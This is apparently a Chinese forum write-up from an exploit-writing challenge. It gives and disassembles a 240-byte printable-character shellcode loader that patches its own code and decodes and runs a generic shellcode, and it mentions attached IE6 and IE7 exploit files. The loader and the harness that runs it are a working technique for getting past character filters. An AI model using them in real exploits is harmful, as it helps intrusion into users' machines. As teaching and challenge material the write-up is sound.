我写的Shellcode加载器分析
 
 
背景:
在ExploitMe挑战赛的B题中,对溢出时的字符,有着严格的限制,而通用功能Shellcode基本上都不符合,其限定的字符集,为此而编写这段加载器代码。至于分析,已有多位牛人的贴子被置为精了,我用的方法其中也有说明,就没有必要拿出来献丑了。
 
下面我就以逆向的过程来分析我写的这段代码。希望新手能有所收获,高人能来点评。
 
刚刚发现在给提交的母板码中还有一点点小Bug(不会影响其实现原理和逆向分析时执行的效果),在此做了一点小小的修正,希望不会影响评分J。
 
 
代码:
声明:版本所有,仅作为学习之用,不对执行的后果负任何责任。若有好的意见和建议请直跟贴与我联系。
首先给出母板码(可以根据需要进行局部的调整),如下:

引用:
jDX<3Tub00000000a~!<M~!!H~!]G~!!D~!4C~!CB~!lA~!1>~!W>}!!5~!!3~!32~!A0}!!-~!p,~!k+~!#*~!!#~!N!w!$!o!`!n!A~~]U^V,DP_WGjTX,DP[XP*$+C*$+C^VP34<XXP*$+C*$+C(d.~NNNNu~X^PZPj8X,4PYjXX,PP[K4+XP~j,0~~~~Ku~K4*V_XVPjP~~PZj$~~~hX$p<pu~ZXZZZhXP~APhAAAh~~
看不懂吧J,我也是。这完全是机器码,共有240字节。还可以继续优化,进一步减少字节数,后面会有介绍,在完成本次的比赛时已经够用了。
 
 
 
分析:
一介绍代码的执行环境。
入口参数: EIP=ESP=代码的起始地址。
 
为此,我写了一个测试代码,VC6默认的控制台项目。如下:
 
代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
char shellcode[]=
"jDX<3Tub00000000a~!<M~!!H~!]G~!!D~!4C~!CB~!lA~!1>~"
"!W>}!!5~!!3~!32~!A0}!!-~!p,~!k+~!#*~!!#~!N!w!$!o!`"
"!n!A~~]U^V,DP_WGjTX,DP[XP*$+C*$+C^VP34<XXP*$+C*$+C"
"(d.~NNNNu~X^PZPj8X,4PYjXX,PP[K4+XP~j,0~~~~Ku~K4*V_"
"XVPjP~~PZj$~~~hX$p<pu~ZXZZZhXP~APhAAAh~~"
;
 
int main(void)
{
 unsigned char MachineCode[1024]="";
 memcpy(MachineCode, shellcode, sizeof(shellcode));
 
 __asm {
        lea eax, MachineCode;
        mov esp, eax
        mov eax, 01234567H ;任意数
        jmp esp ; 模拟溢出时执行的指令
 }
 
 return EXIT_SUCCESS;
}
 
以Debug配置的单步调试方式运行,验证一下入口参数。
 
 

 
如上图中,ESP和EIP相等,OK,符合我们的条件。
此时,我们的执行环境已建成,看看VC下的反汇编代码。若不小心直接运行的话,看看会有什么反应呢,1秒过去了,没有反应,5秒过去了,没有反应, 10秒过去了,还没有反应。这就对了,因为那是……。
 
 
二功能简述
再回到我最开始的需求:
在限定的字符集完成对通用Shellcode的拼接,并去调用它。
我给自已设定的是[0x21, 0x7E],其中还需要排除一些特殊的字符,如“/ \”等。要完成这一功能,就需要在限定的字符集中找出能实现以下几个方面功能的汇编指令:
1 数据传送
2 算术运算
3 逻辑运算
4 位移运算
5 转移指令
这要是放在两天前,我想可能完成其中的四个;要放在三天前,我想可能完不成,但是试一试;要是放要四天前,我想都没有想过,呵呵,这也就是我想写这篇文章的目的。在两天前完成的最后一个关键点,当时非常困难,都差不多决定要放弃这个方案,准备好好地写一下分析报告休息之际的时候,看了一档和歌词相关的娱乐节目的录像,其中一段乐队给参与者鼓励的声音“希望就在前方”,我也在想花了一天多的工夫就这样白费,还能不能再换个思路来解决,于是乎又把资料重新翻阅,花了一个晚上的终于找到了可行的办法,似乎有些跑题了。言归正传,通过查找Intel指令操作表,我首先基本确定了相应的策略。
1 数据传送
用push和pop来实现8个通用寄存器的传送
2 算术运算
用sub累加器(AL,EAX)和立即数的运算,寄存器和存储器(寄存器变址寻址方式)的运算
用inc和dec来实现寄存器的自增1和自减1
3 逻辑运算
用xor来实现寄存器和存储器(寄存器变址寻址方式)的运算。
4 位移运算
没有可以替接的指令,需要自己去实现。这个也就是最难的关键点,我将放在后面的跟踪分析中去说明。
5 转移指令
只能通过jnz/jz条件的短转移,这其中的一个关键点,当转移量为负的时候(即最高位为1),需要进行操作码的修正。为什么呢,别忘了我们是有严格限写的字符。
至于我是如何修正的,请关注后面的“跟踪分析”部分。
 
 
今天先写了这么多。
有兴趣的朋友也可以自己动手去分析。
共同学习,共同提高。
 
 
 
三 跟踪分析
    下面我就以VC6的调试器进行分析。
  按F10单步调试到前面图所示的位置。若这时想大体浏览一下指令的话。恐怕要令你大失所望,除了开始有几句之后,后面的语句,好像是疯子一样,不知其所云云。别着急,我们一步一步来看。
进入代码区,我机器的ESP为0013FB80H(可能会有所差异,与系统环境相关)。
第一段没有什么,很普通。可能最后再看的时候就不一样了。
0013FB80 6A 44 push 44h
0013FB82 58 pop eax
0013FB83 3C 33 cmp al,33h
0013FB85 54 push esp
0013FB86 75 62 jne 0013FBEA
第一段意思很简单,由于前的比较语句为假,JNZ相当于一个JMP,将ESP值入栈后,直接跳转到0013FBEA处。请注意此处的字节数。

第二段也就是关键的一个段,把那些不知云云的东东,还原出其真实的面目。
0013FBEA 5D pop ebp 
0013FBEB 55 push ebp
0013FBEC 5E pop esi ; ESI=EBP=ESP=入口地址
0013FBED 56 push esi ; 保护入口地址
0013FBEE 2C 44 sub al,44h; AL=44H,不确定的回头看
0013FBF0 50 push eax
0013FBF1 5F pop edi; EDI=0
0013FBF2 57 push edi
0013FBF3 47 inc edi; EDI=1
0013FBF4 6A 54 push 54h
0013FBF6 58 pop eax
0013FBF7 2C 44 sub al,44h
0013FBF9 50 push eax
0013FBFA 5B pop ebx ; EBX=10H
至此完成了变量的初始化。此时[ESP]=0

0013FBFB 58 pop eax
0013FBFC 50 push eax ; eax=0
0013FBFD 2A 24 2B sub ah,byte ptr [ebx+ebp] ; 入口地址+10H+0 计算地址修正值A1,
0013FC00 43 inc ebx
0013FC01 2A 24 2B sub ah,byte ptr [ebx+ebp] ; 入口地址+10H+1 计算地址修正值A2
0013FC04 43 inc ebx
0013FC05 5E pop esi
0013FC06 56 push esi ; esi=0
0013FC07 50 push eax ; ah=偏移地址
0013FC08 33 34 3C xor esi,dword ptr [esp+edi] ; 这就是最关键的一句,下面会详细说说。
0013FC0B 58 pop eax
0013FC0C 58 pop eax
0013FC0D 50 push eax
0013FC0E 2A 24 2B sub ah,byte ptr [ebx+ebp] ; 入口地址+10H+2 计算值修正值D1,
0013FC11 43 inc ebx
0013FC12 2A 24 2B sub ah,byte ptr [ebx+ebp] ; 入口地址+10H+3 计算值修正值D2
0013FC15 43 inc ebx
0013FC16 28 64 2E 7E sub byte ptr [esi+ebp+7Eh],ah ;根据地址偏移还原出自身正确的机器码。D0
0013FC1A 4E dec esi
0013FC1B 4E dec esi
0013FC1C 4E dec esi
0013FC1D 4E dec esi ; 为什么要重复4次呢?
0013FC1E 75 7E jne 0013FC9E ; 循环判断是否已完全修正。

先提几个问题。
1 为什么前面的地址修正不用AL,而用AH?
2 当前的循环条件判断的跳转怎么会是向前(目标地址大于当前地址),而不是向后(目标地址小于当前地址)?
3 为什么说“xor esi,dword ptr [esp+edi]”是最关键的一句?

简述的原理:
1 由于要考虑字符的限定,故用了下面的公式进行了需要修正的地址偏移及其值。
addr = (((0-A1) Mod 256)-A2) Mod 256
data = (D0-(((0-D1) Mod 256)-D2) Mod 256) Mod 256
以确保addr在有限的范围表示出足够的地址偏移,data能还原出任意一个字符。
2 根据我假定的字符集[0x21, 0x7E],addr的有效范围为[4, 190]。不相信就自己去验证一下。
3 当偏移地址为4时表示修正结束,这也就是4次dec esi的原因。
4修正的数据在入口地址的+10H开始。还记得入口时的第一个跳转吧。再去看看那里指令用了几个字节?8个。对。可是我们这是从第16个字节开始,还有8个是做什么用的呢?放心一个萝卜一个坑,总有它的用处。
现在有了个基本的认识。再回过头看看前面的问题。
1 为什么前面的地址修正不用AL,而用AH?
有人说,用AL后的根据地址偏移要更简单些,不需要所谓的移位。的确,我开始也是这么做的,可是机器码不答应啊,看看下面第二个字节。
01008BBD 2A042B SUB AL,BYTE PTR DS:[EBP+EBX]
01008BC0 2A242B SUB AH,BYTE PTR DS:[EBP+EBX]
通过指令码表,发现通用寄存器的xL都不符合条件。
01008BC3 2A1C2B SUB BL,BYTE PTR DS:[EBP+EBX]
01008BC6 2A142B SUB DL,BYTE PTR DS:[EBP+EBX]
01008BC9 2A0C2B SUB CL,BYTE PTR DS:[EBP+EBX]
所以就选了个AH。接下来,也就带来了一个大问题。什么大问题?想一下8位寄存器AH与32位寄存器EAX的关系。

2 当前的循环条件判断的跳转怎么会是向前(目标地址大于当前地址),而不是向后(目标地址小于当前地址)?
怎么就不能将判断的条件跳转直接改为向前的。通常条件后,不要和我的反对意见,你要是认为循环条件判断的跳转是向前的,那前面一定会有个JMP跳转向后(不信的话你就看看for(::){}的反汇编)。另外你要知道JMP的操作码最高位可是1哦。更何况,我们的代码长度只有240个字节,也就是说到目前为目代码的有效区为[0013FB80, 13FC6F]之间,很显然0013FC9E已超出了代码的地址范围。那如果像我刚刚所说的那样,那岂不是出错了L。当前不会。首先,别忘了,这段代码的功能,自我修正,还原出其原始的面目。如果第一个恢复的地址就这个跳转的偏移量,会有什么样的效果呢呢?哈哈,能想的到吧。去试着运行一下吧!

3 为什么说“xor esi,dword ptr [esp+edi]”是最关键的一句?
再看一下相关的语句

0013FBF1 5F pop edi; EDI=0
0013FBF2 57 push edi
0013FBF3 47 inc edi; EDI=1

0013FC05 5E pop esi
0013FC06 56 push esi ; esi=0
0013FC07 50 push eax ; ah=偏移地址
0013FC08 33 34 3C xor esi,dword ptr [esp+edi] 
此时的edi=1,栈顶的数据是这这样的。 

 
还有一个小问题 xor 怎么就直接不用EAX,而要费个周折,用ESI来中转一下呢?
这其实现也是没办法的办法,原因和前面的AH情况一样,有兴趣去查一下Intel指令表或者用OD自己写一下看看。

运行到0013FC20处时,代码的自修正已完成,可以看到庐山真面目了。
由于前人的努力,下面可以实现任意的指令码。当然在编译之后生成代码的这些代码,静态分析还是有些费事,不如动态逆向分析来的这么舒服(经过前面的修正)。

第三段解码通用Shellcodek码。还原对通用Shellcode解码部分的指令,采取了一个较简单的解码过程,即将连续的两个字节低4位组成一个字节。这里面有个说明,那就是需要解码数据的相对偏移量,还记得前面的没有介绍的8个字节吗,那个坑就是这个萝卜填的。同样也就用了低4位。共计32位,4 个字节,正好做地址的偏移量计算。下面我就在代码中做简要的概述。很简单的。
0013FC20 58 pop eax
0013FC21 5E pop esi ; 恢复入口地址
0013FC22 50 push eax
0013FC23 5A pop edx ; edx=0
0013FC24 50 push eax
0013FC25 6A 38 push 38h
0013FC27 58 pop eax
0013FC28 2C 34 sub al,34h
0013FC2A 50 push eax
0013FC2B 59 pop ecx ; ecx=4
0013FC2C 6A 58 push 58h
0013FC2E 58 pop eax
0013FC2F 2C 50 sub al,50h
0013FC31 50 push eax
0013FC32 5B pop ebx ; ebx=8
0013FC33 8D 34 2B lea esi,[ebx+ebp] ; 计算解码偏移量所在的地址
0013FC36 58 pop eax
0013FC37 50 push eax
0013FC38 FC cld
0013FC39 AC lods byte ptr [esi]
0013FC3A 2C 30 sub al,30h ; 取低4位
0013FC3C D3 E2 shl edx,cl ; 当前值左移4位
0013FC3E 0B D0 or edx,eax
0013FC40 4B dec ebx
0013FC41 75 F6 jne 0013FC39 ; 计算8次
0013FC43 8D 34 2A lea esi,[edx+ebp] ; 计算出解码数据的地址
0013FC46 56 push esi ; 保护解码数据的地址
0013FC47 5F pop edi
0013FC48 58 pop eax
0013FC49 56 push esi
0013FC4A 50 push eax
0013FC4B AC lods byte ptr [esi]
0013FC4C 50 push eax
0013FC4D D2 E0 shl al,cl
0013FC4F 50 push eax
0013FC50 5A pop edx
0013FC51 AC lods byte ptr [esi]
0013FC52 24 0F and al,0Fh
0013FC54 0A C2 or al,dl
0013FC56 AA stos byte ptr [edi] ; [edi]=[esi]<<4|([esi+1]&0xf)
0013FC57 58 pop eax
0013FC58 24 70 and al,70h
0013FC5A 3C 70 cmp al,70h ;首字节高4位为7时结束
0013FC5C 75 ED jne 0013FC4B ;解码循环判定
0013FC5E 5A pop edx
0013FC5F 58 pop eax ; 恢复解码数据的地址
下面是我写的一个附加的,有点多余的东西,优化可以去除不少,但也有些地方要注意修正。
0013FC60 5A pop edx
0013FC61 5A pop edx
0013FC62 5A pop edx
0013FC63 68 58 50 C3 41 push 41C35058h
0013FC68 50 push eax
0013FC69 68 41 41 41 68 push 68414141h
0013FC6E FF E0 jmp eax
在入口处写入类似下面的指令
INC ECX
INC ECX
INC ECX
PUSH 0xxxxxxxxH ; 这个值为通用shellcode的入口地址
RET
INC ECX
之后,再跳转到入口地址执行。
目前母板的解码偏移量为0时,也就说这是入口地址。首尾亦相连,起始亦是终。执行后的效果,也就出来了。执行不完的返回操作,就像转圈咬自已的耳朵一样。


四小结
1 在第一次向后跳转之前就已经修正它的偏移量。
2 利用内存储器(主要是栈操作)作为操作数参与算术和逻辑运算,以达到字符集以外的指令所能达到的功能。
3 修正完成之后可以使用任意指令,不再受字符集的限制,但受修正地址偏移量的限制(具体的范围参见前面的addr)和修正数量的限制,但完成一个简单的组装Shellcode的功能还有够用了。

至此,我们已经完全走过了一遍。最后附上我在B题中使用这种方法提交的代码。所加载的shellcode是弹出对话框的168byte,将提示信息改了一下。注:IE6和IE7是有些差异的,分成了两个文件。

全文完。
 
 
附件中VC项目。
上传的附件 Test.rar
exploit_IE7.txt
exploit_IE6.txt